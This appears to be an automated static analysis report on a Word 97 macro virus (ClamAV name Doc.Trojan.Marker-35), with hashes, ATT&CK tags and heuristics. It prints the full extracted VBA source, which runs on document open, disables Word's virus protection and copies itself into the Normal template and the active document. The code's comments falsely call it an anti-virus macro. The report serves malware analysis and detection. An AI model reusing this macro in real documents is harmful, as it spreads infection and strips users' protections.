Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c17775531a1c003a…

MALICIOUS

Office (OLE)

33.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7d2d134ae21b30afda5d93777f41a605 SHA-1: 45197279fe83e089736c426242b164b4934fa036 SHA-256: c17775531a1c003ab83c47a74f041b4b4c73d0d8a7e8e479cde841f6bade51c8
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro that executes upon opening the document, as indicated by the 'Document_Open' subroutine and the 'OLE_VBA_DOCOPEN' heuristic. This macro attempts to inoculate both the active document and the NormalTemplate with its code, which is a common persistence technique. The macro explicitly searches for and uses a marker string 'Patricks marker!' to identify itself.

Heuristics 3

  • ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-35
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1651 bytes
SHA-256: 824a4c8c941d3f19aa4e1b1cd44a4a636a5ac2975637d93acba446de33eccad9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'
' ********** Anti-Virus macro by Patrick **********
'
' <- this is a marker!
' DO NOT delete or alter the above marker line since the original virus looks for it
' and will not infect the document if the above line exists

Const Marker = "Patricks marker!"
On Error Resume Next

'Declare Variables
Dim SaveDocument, SaveNormalTemplate, DocumentInnoculated, NormalTemplateInnoculated As Boolean
Dim ad, nt As Object
Dim OurCode, UserAddress, LogData, LogFile As String

'Initialize Variables
Set ad = ActiveDocument.VBProject.VBComponents.Item(1)
Set nt = NormalTemplate.VBProject.VBComponents.Item(1)

DocumentInnoculated = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000)
NormalTemplateInnoculated = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000)

'Switch the VirusProtection OFF
Options.VirusProtection = False

  'Innoculate the NormalTemplate
  If DocumentInnoculated = True Then
    OurCode = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines)
    nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines
    nt.CodeModule.AddFromString OurCode
    NormalTemplate.Save
  End If

  'Innoculate the ActiveDocument
    OurCode = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines)
    ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
    ad.CodeModule.AddFromString OurCode
    ActiveDocument.Save
  
End Sub